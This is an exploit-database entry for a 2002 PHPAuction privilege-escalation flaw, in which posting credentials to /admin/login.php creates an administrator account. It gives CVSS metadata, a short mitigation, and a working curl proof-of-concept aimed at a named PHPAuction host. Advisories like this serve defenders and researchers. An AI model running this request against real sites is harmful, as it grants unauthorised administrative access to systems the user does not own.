header-logo
Suggest Exploit
vendor:
PHPAuction
by:
SecurityFocus
7.5
CVSS
HIGH
Privilege Escalation
264
CWE
Product Name: PHPAuction
Affected Version From: N/A
Affected Version To: N/A
Patch Exists: NO
Related CWE: N/A
CPE: N/A
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: N/A
2002

PHPAuction Privilege Escalation Vulnerability

A flaw in /admin/login.php has been reported in PHPAuction, which could allow users to gain escalated privileges. Submitting authentication credentials via login.php will create the user account with adminsitrative permissions.

Mitigation:

Ensure that authentication credentials are properly validated before creating user accounts.
Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/5141/info

PhpAuction is a freely available web-based auction system. It is written using PHP scripting language on a MySQL database engine.

A flaw in /admin/login.php has been reported in PHPAuction, which could allow users to gain escalated privileges.

Submitting authentication credentials via login.php will create the user account with adminsitrative permissions. 

curl http://pro.phpauction.org/proplus/admin/login.php -d "action=insert" -d "username=test" -d "password=test"

Navigation

Suggest Exploit

Services By CQR